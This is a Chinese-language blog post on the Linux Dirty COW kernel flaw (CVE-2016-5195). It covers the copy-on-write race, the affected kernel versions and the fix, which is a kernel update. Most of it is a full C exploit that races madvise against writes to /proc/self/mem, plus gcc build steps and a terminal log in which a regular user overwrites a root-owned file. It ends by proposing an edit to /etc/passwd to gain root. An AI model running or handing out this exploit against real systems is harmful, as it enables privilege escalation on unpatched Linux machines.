安全漏洞--linux 最新内核通用提权漏洞利用示例 (脏牛Dirty COW)

0x01 漏洞简介


Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


CVE-2016-5195: https://access.redhat.com/security/cve/CVE-2016-5195


0x02 漏洞危害


低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root权限。


0x03 影响范围



该漏洞影响所有 Linux Kernel >= 2.6.22的版本。

2.6.22 2007年发布的版本,也就是说这个漏洞几乎影响 2007以后的所有版本。


0x04 漏洞测试



读取 /proc/version 来获取 LinuxKernel 版本:




0x05 测试代码


/*
 * main.c
 *
 *  Created on: Oct 21, 2016
 *      Author: 5t4rk
 */
#include
#include
#include
#include
#include

void *map;
int f;
struct stat st;
char* name;

void * madviseThread(void *arg)
{
	char *str;
	str = (char *) arg;
	int i, c = 0;
	for (i = 0; i < 100000000; i++)
	{
		c += madvise(map, 100, MADV_DONTNEED);
	}
	printf("madvise %d\n", c);
}

void * procselfmemThread(void *arg)
{
	char *str;
	str = (char *) arg;
	int f = open("/proc/self/mem", O_RDWR);
	int i, c = 0;
	for (i = 0; i < 100000000; i++)
	{
		lseek(f, map, SEEK_SET);
		c += write(f, str, strlen(str));
	}
	printf("procselfmem %d\n", c);
}

int main(int argc, char *argv[])
{
	if (argc < 3)
		return 1;
	pthread_t pth1, pth2;
	f = open(argv[1], O_RDONLY);
	fstat(f, &st);
	name = argv[1];
	map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
	printf("mmap %x\n", map);
	pthread_create(&pth1, NULL, madviseThread, argv[1]);
	pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);
	return 0;
}


编译生成exp

两种生成方式:

命令行编译

gcc main.c -lpthread

集成工具编译

eclipse(luna) +CDT

project>properties>settings>gcc linker> libraries

注意Debug和Release 都同时加上参数pthread库。

再编译即可成功。





0x06 测试结果


命令

luke@ubuntu:/tmp$ cat test
5678
luke@ubuntu:/tmp$ ls -al test
-rw-r--r-- 1 root root 5 10月 21 17:17 test
luke@ubuntu:/tmp$ id
uid=1000(luke) gid=1000(luke) groups=1000(luke),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
luke@ubuntu:/tmp$ cat test
5678
luke@ubuntu:/tmp$ echo 1234 >test
bash: test: Permission denied
luke@ubuntu:/tmp$ ./rootEep test 1234
bash: ./rootEep: No such file or directory
luke@ubuntu:/tmp$ ./rootExp test 1234
mmap b7701000
madvise 0
procselfmem 400000000
luke@ubuntu:/tmp$ cat test
1234





结果显示低权限用户修改了root用户创建的文件内容。同理,

可以看到结果,test 文件的内容已经由5678被成功修改为1234。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。



0x07 修复方案


更新升级最新 Linux Kernel 源码,并重新编译。




你可能感兴趣的:(源码分享,安全札记,linux系统,linux编程,技术文章,漏洞学习)